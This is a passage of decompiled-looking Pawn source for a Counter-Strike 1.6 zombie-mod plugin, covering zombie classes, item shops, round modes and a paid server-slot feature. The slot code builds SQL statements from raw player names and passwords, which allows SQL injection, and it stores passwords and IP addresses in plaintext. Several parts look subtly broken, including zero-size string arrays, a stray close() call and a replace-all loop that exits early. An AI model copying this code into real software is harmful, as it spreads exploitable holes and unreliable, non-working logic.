    "models/ZombieOutstanding/z_out_mutant_claws.mdl",
    "models/ZombieOutstanding/z_out_tight_claws.mdl",
    "models/ZombieOutstanding/z_out_raptor_claws.mdl",
    "models/ZombieOutstanding/z_out_predator_blue_claws.mdl",
    "models/ZombieOutstanding/z_out_hunter_claws.mdl"
};
new g_iZombieHealths[7] =
{
	6000, 5250, 7500, 4250, 5500, 6000, 5450
};
new Float:g_fZombieGravities[7] =
{
	1.00, 1.00, 0.74, 1.00, 0.61, 1.00, 0.61
};
new Float:g_fZombieSpeeds[7] =
{
	264.0, 304.0, 276.0, 244.0, 269.0, 249.0, 273.0
};
new Float:g_fZombieKnockbacks[7] =
{
	0.82, 1.33, 0.70, 0.44, 0.80, 0.90, 0.83
};
new g_cZombieClasses[7][14] =
{
    "Clasic",
    "Raptor",
    "Mutant",
    "Tight",
    "Regenerator",
    "Predator Blue",
    "Hunter"
};
new g_cZombieAttribs[7][0] =
{
    "\r[=Balanced=]",
    "\r[Speed +++]",
    "\r[Health +++]",
    "\r[Double Jump]",
    "\r[Regeneration]",
    "\r[Powerful]",
    "\r[Silent Killer]"
};
new g_cExtraItems[25][0] =
{
    "Antidote",
    "Fire Grenade",
    "Freeze Grenade",
    "Explosion Grenade",
    "Infection Grenade",
    "Killing Grenade",
    "M249 Machine Gun",
    "G3SG1 Auto Sniper Rifle",
    "SG550 Auto Sniper Rifle",
    "AWP Sniper Rifle",
    "Nightvision Googles",
    "Zombie Madness",
    "Jetpack + Bazooka",
    "Unlimited Clip",
    "Armor (100ap)",
    "Armor (200ap)",
    "Multijump +1",
    "Tryder",
	"Golden Kalashnikov (AK-47)",
	"Golden Desert Eagle (Night Hawk)",
    "Survivor",
    "Sniper",
    "Nemesis",
    "Assassin",
    "Knife Blink"
};
new g_iExtraItemsPrices[25] =
{
	15, 4, 3, 4, 26, 42, 9, 11, 10, 9, 2, 15, 32, 10, 5, 10, 5, 30, 36, 20, 180, 175, 140, 140, 10
};
new g_cExtraItemsPrices[25][0] =
{
    "\r[15 packs]",
	"\r[4 packs]",
	"\r[3 packs]",
	"\r[4 packs]",
	"\r[26 packs]",
	"\r[42 packs]",
	"\r[9 packs]",
	"\r[11 packs]",
	"\r[10 packs]",
	"\r[9 packs]",
	"\r[2 packs]",
	"\r[15 packs]",
	"\r[32 packs]",
	"\r[10 packs]",
	"\r[5 packs]",
	"\r[10 packs]",
	"\r[5 packs]",
	"\r[30 packs]",
	"\r[36 packs]",
	"\r[20 packs]",
	"\r[180 packs]",
	"\r[175 packs]",
	"\r[140 packs]",
	"\r[140 packs]",
	"\r[10 packs]"
};
new g_iExtraItemsTeams[25] =
{
	1, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1
};
new g_cShopItems[8][0] =
{
    "Double Damage",
    "Buy Server Slot",
    "Buy Admin Model",
    "100 Ammo Packs",
    "200 Ammo Packs",
    "300 Ammo Packs",
    "God Mode",
    "Armageddon Round"
};
new g_iShopItemsPrices[8] =
{
	120, 700, 2250, 160, 200, 280, 150, 180
};
new g_iShopItemsTeams[8] =
{
	2, 0, 0, 0, 0, 0, 2, 0
};
new g_cShopItemsPrices[8][0] =
{
    "\r[120 points]",
    "\r[700 points]\y (Recommended)",
    "\r[2250 points]",
    "\r[160 points]",
    "\r[200 points]",
    "\r[280 points]",
    "\r[150 points]",
    "\r[180 points]"
};
new g_cSecondaryWeapons[6][0] =
{
    "USP",
    "GLOCK18",
    "P228",
    "DEAGLE",
    "ELITE",
    "FIVESEVEN"
};
new g_cPrimaryWeapons[10][0] =
{
    "GALIL",
    "FAMAS",
    "M4A1",
    "AK47",
    "AUG",
    "SG552",
    "XM1014",
    "M3",
    "MP5NAVY",
    "P90"
};
new g_cSecondaryEntities[6][0] =
{
    "weapon_usp",
    "weapon_glock18",
    "weapon_p228",
    "weapon_deagle",
    "weapon_elite",
    "weapon_fiveseven"
};
new g_cPrimaryEntities[10][0] =
{
    "weapon_galil",
    "weapon_famas",
    "weapon_m4a1",
    "weapon_ak47",
    "weapon_aug",
    "weapon_sg552",
    "weapon_xm1014",
    "weapon_m3",
    "weapon_mp5navy",
    "weapon_p90"
};
new g_iVoter;
new Handle:g_hSQLTuple;
new bool:g_bZombie[33];
new g_iPlayerType[33];
new bool:g_bFlashEnabled[33];
new bool:g_bDoubleDamage[33];
new bool:g_bServerSlot[33];
new g_iMaxJumps[33];
new bool:g_bAdminModel[33];
new g_iBlinks[33];
new g_iAntidoteSync;
new g_iRegenerationSync;
new bool:g_bFlash[33];
new g_iRoundType;
new g_iVariable;
new bool:g_bTryder[33];
new bool:g_bAlive[33];
new g_iPoints[33];
new g_iScore[33];
new Float:g_fLastQuery;
new g_iTimeLimit;
new g_iKills[33];
new g_iAliveCount;
new bool:g_bUnlimitedClip[33];
new bool:g_bKilling[33];
new bool:g_bGolden[33];
new g_iVersusSync;
new g_iRounds[1024];
new g_iRoundsCount;
new g_iDeaths[33];
new g_iOnlineTime[33];
new Float:g_fLastTime[33];
new g_cOnlineTime[33][32];
new g_cClass[33][14];
new g_iZombieClass[33];
new g_iZombieNextClass[33];
new bool:g_bFrozen[33];
new bool:g_bRanked[33];
new Data[33][5][128];
new bool:Loaded[33];
new bool:g_bAdmin[33];
new g_cAdminFlags[33][42];
new g_cName[33][32];
new bool:g_bModeStarted;
new g_cInternetProtocolAddress[33][24];
new Float:g_fLastLeapTime[33];
new Array:g_aNameData;
new Array:g_aAmmoData;
new g_iLastMode;
new g_cRegisteredCharacter[32];
new bool:g_bGoldenDeagle[33];
new Float:g_fDamage[33];
new g_iPacks[33];
new g_iTopMessageSync;
new Float:g_fGagTime[33];
new g_iEventsHudmessage;
new g_cQuery[256];
new g_iBurningDuration[33];
new g_iWeapon[33];
new g_iJumps[33];
new g_iDownMessageSync;
new g_iMenu;
new g_cVipNames[128][32];
new g_cVipPasswords[128][32];
new g_cVipFlags[128][32];
new Float:g_fLastNameChanged[33];
new g_iCounter;
new bool:g_bConnected[33];
new bool:g_bVoting;
new g_iSecondaryWeapons[64];
new bool:g_bGaveThisRound[33];
new g_iPrimaryWeapons[64];
new g_cSteam[33][24];
new bool:g_bSecondVoting;
new g_iVipsCount;
new g_iDamageSync[8];
new g_iVotes[7];
new g_cMaps[7][32];
new bool:g_bEnded;
new g_cSecondMaps[5][32];
new g_iSecondVotes[5];
new g_iRanksCount;
new g_iKillsThisRound[33];
new bool:g_bRoundStart;
new bool:g_bRoundEnd;
new g_iMaxClients;
new g_iPosition[33];
new g_iGameMenu;
new g_iSecondaryMenu;
new g_iLeftSync[2];
new g_iAdvertisementsSync;
new g_iCenterMessageSync;
new g_iPrimaryMenu;
new g_cGlobalPassword[33][32];
new g_iShopMenu;
new g_iMenuZombieClasses;
new g_iMenuExtraItems;
new bool:g_bNoDamage[33];
new Float:g_fLastChangedModel;
new g_iTripMines[33];
new g_iPlantedMines[33];
new g_iSize;
new bool:g_bVip[33];
new g_cPersonalFlags[33][32];
new g_iMessagePosition;
new bool:g_bPlanting[33];
new g_iCounterMessage;
new bool:g_bRemoving[33];
new g_iMineMessage;
new g_iSecondMineMessage;
new g_iPlayerMines[33][2];
new g_cTag[128][24];
new g_cAdvertisements[72][188];
new g_iAdvertisementsCount;
new bool:g_Hidden[33];
new g_iMessage;
new bool:g_bSwitching;
new Float:g_fRoundStartTime;
new g_cModeRecordings[52][32];
new g_iModeRecordings;
new g_cNames[10][32];
new g_iTracker;
new g_Secret[32];
new g_cPasswords[33][32];
new g_cAddresses[10][24];
new Float:g_fLast[33];
new Float:g_fLastRankQuery;
new Float:g_fLastBanQuery;
new g_cHudAdvertisements[50][188];
new g_iHudAdvertisementsCount;
new g_iHudMessage;
new g_iSnipers;
new g_iSurvivors;
new bool:g_bCachedDamage[33];
new g_iRemainingSync;

replace_all(string[], len, what[], with[])
{
	new pos;
	if ((pos = contain(string, what)) == -1)
	{
		return 0;
	}
	new total;
	new with_len = strlen(with);
	new diff = strlen(what) - with_len;
	new total_len = strlen(string);
	new temp_pos;
	while (replace(string[pos], len - pos, what, with))
	{
		pos = with_len + pos;
		total_len -= diff;
		if (!(pos >= total_len))
		{
			temp_pos = contain(string[pos], what);
			if (!(temp_pos == -1))
			{
				pos = temp_pos + pos;
				total++;
			}
			return total;
		}
		return total;
	}
	return total;
}

public __fatal_ham_error(Ham:id, HamError:err, const reason[])
{
	new func=get_func_id("HamFilter", -1);
	new bool:fail=true;
	if (func != -1 && callfunc_begin_i(func, -1)==1)
	{
		callfunc_push_int(_:id);
		callfunc_push_int(_:err);
		callfunc_push_str(reason, false);
		if (callfunc_end()==1)
		{
			fail=false;
		}
	}
	if (fail)
	{
		set_fail_state(reason);
	}
	return 0;
}


StripName( Name[ ] ) 
{
	for( new i = 0; i < strlen( Name ); i++ ) {
		Name[ i ] = tolower( Name[ i ] );

		if( !isalpha( Name[ i ] ) )
			Name[ i ] = '_';
	}
}

LoadData(Player)
{
	new Name[32];
	get_user_name(Player, Name, 31);
	StripName(Name);
	new FileLine[256];
	formatex(FileLine, 255, "addons/SpecialGeoip/PlayerData/%s.ini", Name);
	new File = fopen(FileLine, "r");
	if (File)
	{
		new Row[256];
		new Key[128];
		new Value[128];
		new i;
		while (!feof(File))
		{
			fgets(File, Row, 255);
			trim(Row);
			if (Row[0] == 34)
			{
				parse(Row, Key, 127, Value, 127);
				if (i < 5)
				{
					formatex(Data[Player][i], 127, "%s", Value);
				}
				i++;
			}
		}
		fclose(File);
		Loaded[Player] = true;
	}
	return 0;
}

VipHasFlag(iPlayer, iFlag)
{
	new i;
	while (i < 32)
	{
		if (iFlag == g_cPersonalFlags[iPlayer][i])
		{
			return 1;
		}
		i++;
	}
	return 0;
}

public MessageSayText()
{
	if (get_msg_args() == 4)
	{
		static iSender;
		iSender = get_msg_arg_int(1);
		if (0 < iSender < g_iMaxClients + 1 && g_cTag[iSender][0])
		{
			static cReplacement[189];
			static cPhrase[47];
			get_msg_arg_string(2, cPhrase, 46);
			if (equal(cPhrase, "#Cstrike_Chat_CT", 0))
			{
				formatex(cReplacement, 188, "^1(Counter-Terrorist) ^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_T", 0))
			{
				formatex(cReplacement, 188, "^1(Terrorist) ^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_CT_Dead", 0))
			{
				formatex(cReplacement, 188, "^1*DEAD*(Counter-Terrorist) ^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_T_Dead", 0))
			{
				formatex(cReplacement, 188, "^1*DEAD*(Terrorist) ^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_Spec", 0))
			{
				formatex(cReplacement, 188, "^1(Spectator) ^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_All", 0))
			{
				formatex(cReplacement, 188, "^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_AllDead", 0))
			{
				formatex(cReplacement, 188, "^1*DEAD* ^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
			if (equal(cPhrase, "#Cstrike_Chat_AllSpec", 0))
			{
				formatex(cReplacement, 188, "^1*SPEC* ^4%s ^3%s^1 :  %s", g_cTag[iSender], "%s1", "%s2");
				set_msg_arg_string(2, cReplacement);
			}
		}
	}
	return 0;
}

StartSwarmMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 64 && random_num(1, 27) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
	{
		g_iLastMode = 64;
		g_iRoundType = g_iRoundType | 64;
		static i;
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (!g_bAlive[i] || get_team(i) == 1)
			{
				set_team(i, 2);
			}
			else
			{
				MakeZombie(0, i, true, false, false);
			}
			i += 1;
		}
		client_cmd(0, "spk ZombieOutstanding/round_start_plague");
		set_hudmessage(20, 255, 20, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Swarm Round !!");
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		g_bModeStarted = true;
		return 0;
	}
	StartPlagueMode(false);
	return 0;
}

StartPlagueMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 32 && random_num(1, 28) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
	{
		g_iLastMode = 32;
		g_iRoundType = g_iRoundType | 32;
		static iNemesis;
		static iMaxNemesis;
		static i;
		static iMaxSurvivors;
		static iSurvivors;
		static iMaxZombies;
		static iZombies;
		iMaxSurvivors = 3;
		iMaxNemesis = 2;
		iZombies = 0;
		iNemesis = 0;
		iSurvivors = 0;
		while (iSurvivors < iMaxSurvivors)
		{
			i = GetRandomAlive();
			if (!(g_iPlayerType[i] & 4))
			{
				MakeHuman(i, true, false);
				iSurvivors += 1;
				set_health(i, 5750);
			}
		}
		while (iNemesis < iMaxNemesis)
		{
			i = GetRandomAlive();
			if (!(g_iPlayerType[i] & 4 || g_iPlayerType[i] & 4))
			{
				MakeZombie(0, i, false, true, false);
				iNemesis += 1;
				set_health(i, 107500);
			}
		}
		iMaxZombies = floatround(0.40 * g_iAliveCount + -5, floatround_floor);
		while (iZombies < iMaxZombies)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 4))
			{
				if (random_num(0, 1))
				{
					MakeZombie(0, i, true, false, false);
					iZombies += 1;
				}
			}
		}
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 4)
			{
			}
			else
			{
				if (get_team(i) != 2)
				{
					g_bSwitching = true;
					set_team(i, 2);
					g_bSwitching = false;
				}
			}
			i += 1;
		}
		client_cmd(0, "spk ZombieOutstanding/round_start_plague");
		set_hudmessage(0, 50, 200, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Plague Mode !!!");
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		g_bModeStarted = true;
		return 0;
	}
	StartMultiMode(false);
	return 0;
}

StartMultiMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 16 && random_num(1, 24) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
	{
		g_iLastMode = 16;
		g_iRoundType = g_iRoundType | 16;
		static i;
		static iMaxZombies;
		static iZombies;
		iZombies = 0;
		iMaxZombies = floatround(0.18 * g_iAliveCount, floatround_ceil);
		i = random_num(1, g_iMaxClients);
		while (iZombies < iMaxZombies)
		{
			if ( ++ i > g_iMaxClients ) i = 1;

			if ( !g_bAlive [i] || g_bZombie [i] ) continue;
			
			if ( random_num ( 0, 1 ) )
			{
				MakeZombie(0, i, true, false, false);
				
				iZombies ++;
			}
		}	
		for ( i = 1; i <= g_iMaxClients; i ++ )
		{
			if ( !g_bAlive [i] || g_bZombie [i] ) continue;

			if ( get_team ( i ) != 2 )
			{
				set_team ( i, 2 );
			}
		}			
		client_cmd(0, "spk ZombieOutstanding/round_start_plague");
		set_hudmessage(200, 50, 0, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Multiple Infection !!!");
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		g_bModeStarted = true;
		return 0;
	}
	StartArmageddonMode(false);
	return 0;
}

StartArmageddonMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 128 && random_num(1, 33) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
	{
		g_iLastMode = 128;
		g_iRoundType = g_iRoundType | 128;
		static i;
		static iMaxZombies;
		static iZombies;
		iZombies = 0;
		iMaxZombies = floatround(0.44 * g_iAliveCount, floatround_floor);
		i = random_num(1, g_iMaxClients);
		while (iZombies < iMaxZombies)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i]))
			{
				if (random_num(0, 1))
				{
					MakeZombie(0, i, false, true, false);
					set_health(i, 100000);
					iZombies += 1;
				}
			}
		}
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (!g_bAlive[i] || g_bZombie[i])
			{
			}
			else
			{
				MakeHuman(i, true, false);
				set_health(i, 8750);
			}
			i += 1;
		}
		if (random_num(0, 1))
		{
			client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		}
		else
		{
			client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		}
		set_hudmessage(181, 62, 244, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Armageddon Mode !!!");
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		g_bModeStarted = true;
		return 0;
	}
	StartNightmareMode(false);
	return 0;
}

StartNightmareMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 256 && random_num(1, 36) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
	{
		g_iLastMode = 256;
		g_iRoundType = g_iRoundType | 256;
		static i;
		static iMaxAssassins;
		static iAssassins;
		static iMaxSnipers;
		static iSnipers;
		static iMaxNemesis;
		static iNemesis;
		iAssassins = 0;
		iSnipers = 0;
		iNemesis = 0;
		iMaxNemesis = floatround(0.24 * g_iAliveCount, floatround_floor);
		iMaxAssassins = floatround(0.24 * g_iAliveCount, floatround_floor);
		iMaxSnipers = floatround(0.25 * g_iAliveCount, floatround_ceil);
		i = random_num(1, g_iMaxClients);
		while (iNemesis < iMaxNemesis)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i]))
			{
				if (random_num(0, 1))
				{
					MakeZombie(0, i, false, true, false);
					set_health(i, 105000);
					iNemesis += 1;
				}
			}
		}
		while (iAssassins < iMaxAssassins)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i]))
			{
				if (random_num(0, 1))
				{
					MakeZombie(0, i, false, false, true);
					set_health(i, 21000);
					iAssassins += 1;
				}
			}
		}
		while (iSnipers < iMaxSnipers)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 8))
			{
				if (random_num(0, 1))
				{
					MakeHuman(i, false, true);
					set_health(i, 10500);
					iSnipers += 1;
				}
			}
		}
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 8 || g_iPlayerType[i] & 4)
			{
			}
			else
			{
				MakeHuman(i, true, false);
				set_health(i, 12500);
			}
			i += 1;
		}
		if (random_num(0, 1))
		{
			client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		}
		else
		{
			client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		}
		set_hudmessage(241, 15, 244, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Nightmare Round !!!");
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		g_bModeStarted = true;
		return 0;
	}
	StartAssassinsVsSnipersMode(false);
	return 0;
}

StartAssassinsVsSnipersMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 512 && random_num(1, 37) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
	{
		g_iLastMode = 512;
		g_iRoundType = g_iRoundType | 512;
		static i;
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (g_bAlive[i])
			{
				switch (get_team(i))
				{
					case 1:
					{
						MakeZombie(0, i, false, false, true);
						set_health(i, 31000);
					}
					case 2:
					{
						MakeHuman(i, false, true);
						set_health(i, 3850);
					}
					default:
					{
					}
				}
			}
			i += 1;
		}
		if (random_num(0, 1))
		{
			client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		}
		else
		{
			client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		}
		set_hudmessage(221, 13, 64, -1.0, 0.17, 1, 0.0, 5.0, 1.0, 1.0, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Assassins vs Snipers Round !!!");
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		g_bModeStarted = true;
		return 0;
	}
	static cTime[4];
	get_time("%H", cTime, 3);
	if (cTime[0] != 48)
	{
		StartSniperMode(0);
	}
	else
	{
		if (cTime[0] == 48 && cTime[1] == 49)
		{
			StartSniperMode(0);
		}
		if (cTime[0] == 48 && cTime[1] == 50)
		{
			StartSniperMode(0);
		}
		else
		{
			StartAssassinMode(0);
		}
	}
	return 0;
}

StartSniperMode(iPlayer)
{
	if ((g_iLastMode != 8 && random_num(1, 35) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
	{
		g_iLastMode = 8;
		g_iRoundType = g_iRoundType | 8;
		static j;
		static i;
		i = GetRandomAlive();
		if (iPlayer)
		{
			i = iPlayer;
		}
		j = i;
		MakeHuman(i, false, true);
		for ( i = 1; i <= g_iMaxClients; i ++ )
		{
			if ( !g_bAlive [i] ) continue;

			if ( g_iPlayerType[i] & 8 || g_bZombie [i] ) continue;
			
			MakeZombie(0, i, true, false, false);
		}	
		client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		set_hudmessage(0, 250, 250, -1.00, 0.17, 0, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Survivor !!", g_cName[j]);
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);	
		g_bModeStarted = true;
		return 0;
	}
	StartSurvivorMode(0);
	return 0;
}

StartSurvivorMode(iPlayer)
{
	if ((g_iLastMode != 4 && random_num(1, 36) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
	{
		g_iLastMode = 4;
		g_iRoundType = g_iRoundType | 4;
		static j;
		static i;
		i = GetRandomAlive();
		if (iPlayer)
		{
			i = iPlayer;
		}
		j = i;
		MakeHuman(i, true, false);
		for ( i = 1; i <= g_iMaxClients; i ++ )
		{
			if ( !g_bAlive [i] ) continue;

			if ( g_iPlayerType[i] & 4 || g_bZombie [i] ) continue;
			
			MakeZombie(0, i, true, false, false);
		}
		client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		set_hudmessage(0, 10, 255, -1.00, 0.17, 0, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Survivor !!", g_cName[j]);
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);	
		g_bModeStarted = true;
		return 0;
	}
	StartAssassinMode(0);
	return 0;
}

StartAssassinMode(iPlayer)
{
	if ((g_iLastMode != 2 && random_num(1, 31) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
	{
		g_iLastMode = 2;
		g_iRoundType = g_iRoundType | 2;
		static j;
		static i;
		i = GetRandomAlive();
		if (iPlayer)
		{
			i = iPlayer;
		}
		j = i;
		MakeZombie(0, i, false, false, true);
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (g_bAlive[i] && !g_bZombie[i] && get_team(i) == 1)
			{
				g_bSwitching = true;
				set_team(i, 2);
				g_bSwitching = false;
			}
			i += 1;
		}
		close();
		client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		set_hudmessage(255, 150, 20, -1.00, 0.17, 0, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Assassin !!", g_cName[j]);
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);	
		g_bModeStarted = true;
		return 0;
	}
	StartNemesisMode(0);
	return 0;
}

StartNemesisMode(iPlayer)
{
	if ((g_iLastMode != 1 && random_num(1, 29) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
	{
		g_iLastMode = 1;
		g_iRoundType = g_iRoundType | 1;
		static j;
		static i;
		i = GetRandomAlive();
		if (iPlayer)
		{
			i = iPlayer;
		}
		j = i;
		MakeZombie(0, i, false, true, false);
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (g_bAlive[i] && !g_bZombie[i] && get_team(i) == 1)
			{
				g_bSwitching = true;
				set_team(i, 2);
				g_bSwitching = false;
			}
			i += 1;
		}
		client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		set_hudmessage(255, 20, 20, -1.00, 0.17, 0, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Nemesis !!", g_cName[j]);
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);	
		g_bModeStarted = true;
		set_task(25.0, "TaskReminder", 900, "", 0, "", 0);	
		return 0;
	}
	StartNormalMode(0);
	return 0;
}

public TaskReminder()
{
	static cHealth[15];
	static iHealth;
	static i;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i] && g_iPlayerType[i])
		{
			iHealth = get_health(i);
			AddCommas(iHealth, cHealth, 14);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 A ^3Rapture^1 Reminder ^3@ ^4%s^1 still has %s ^4health points!", g_cClass[i], cHealth);
		}
		i += 1;
	}
	return 0;
}

StartNormalMode(iPlayer)
{
	static j;
	static i;
	i = GetRandomAlive();
	if (iPlayer)
	{
		i = iPlayer;
	}
	j = i;
	MakeZombie(0, i, false, false, false);
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i] && !g_bZombie[i] && get_team(i) == 1)
		{
			g_bSwitching = true;
			set_team(i, 2);
			g_bSwitching = false;
		}
		i += 1;
	}
	set_hudmessage(255, 0, 0, -1.00, 0.17, 0, 0.00, 5.00, 1.00, 1.00, -1);
	ShowSyncHudMsg(0, g_iTopMessageSync, "%s is the first zombie !!", g_cName[j]);
	remove_task(600, 0);
	set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
	g_bModeStarted = true;
	return 0;
}

public CommandGetSlot(iPlayer)
{
	if (g_bServerSlot[iPlayer])
	{
		static cPassword[32];
		read_argv(1, cPassword, 32);
		if (!strlen(cPassword))
		{
			client_cmd(iPlayer, "messagemode amx_password_for_slot");
			client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Type your password again!");
		}
		static cData[3];
		static cQuery[128];
		formatex(g_cGlobalPassword[iPlayer], 32, "%s", cPassword);
		num_to_str(iPlayer, cData, 3);
		formatex(cQuery, 128, "SELECT f FROM a WHERE n='%s'", g_cName[iPlayer]);
		SQL_ThreadQuery(g_hSQLTuple, "SQLCheckSlot", cQuery, cData, 3);
	}
	return 0;
}

public SQLRanksCount(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
	g_iRanksCount = SQL_NumResults(hQuery);
	return 0;
}

public SQLEmpty(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
	return 0;
}

public SQLCheckSlot(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
	static iPlayer;
	iPlayer = str_to_num(cData);
	client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought a^4 Slot Account", g_cName[iPlayer]);
	if (SQL_NumResults(hQuery))
	{
		static cFlags[42];
		SQL_ReadResult(hQuery, 0, cFlags, 42);
		format(cFlags, 42, "r%s", cFlags);
		formatex(g_cQuery, 256, "UPDATE a SET f='%s' WHERE n='%s'", cFlags, g_cName[iPlayer]);
		SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, cData, 0);
		console_print(iPlayer, "");
		console_print(iPlayer, "****************************");
		console_print(iPlayer, "Done! You have now slot access!");
		console_print(iPlayer, "We hope you enjoy you have fun!");
		console_print(iPlayer, "****************************");
		console_print(iPlayer, "");
		server_cmd("kick #%d  Check your console!", get_user_userid(iPlayer));
	}
	else
	{
		formatex(g_cQuery, 256, "INSERT INTO a VALUES ('%s','%s','%s','%s','%s','')", g_cSteam[iPlayer], g_cName[iPlayer], "r", g_cInternetProtocolAddress[iPlayer], g_cGlobalPassword[iPlayer]);
		SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, cData, 0);
		client_cmd(iPlayer, "setinfo _pw ^"%s^"", g_cGlobalPassword[iPlayer]);
		console_print(iPlayer, "");
		console_print(iPlayer, "****************************");
		console_print(iPlayer, "Done! You have now slot access!");
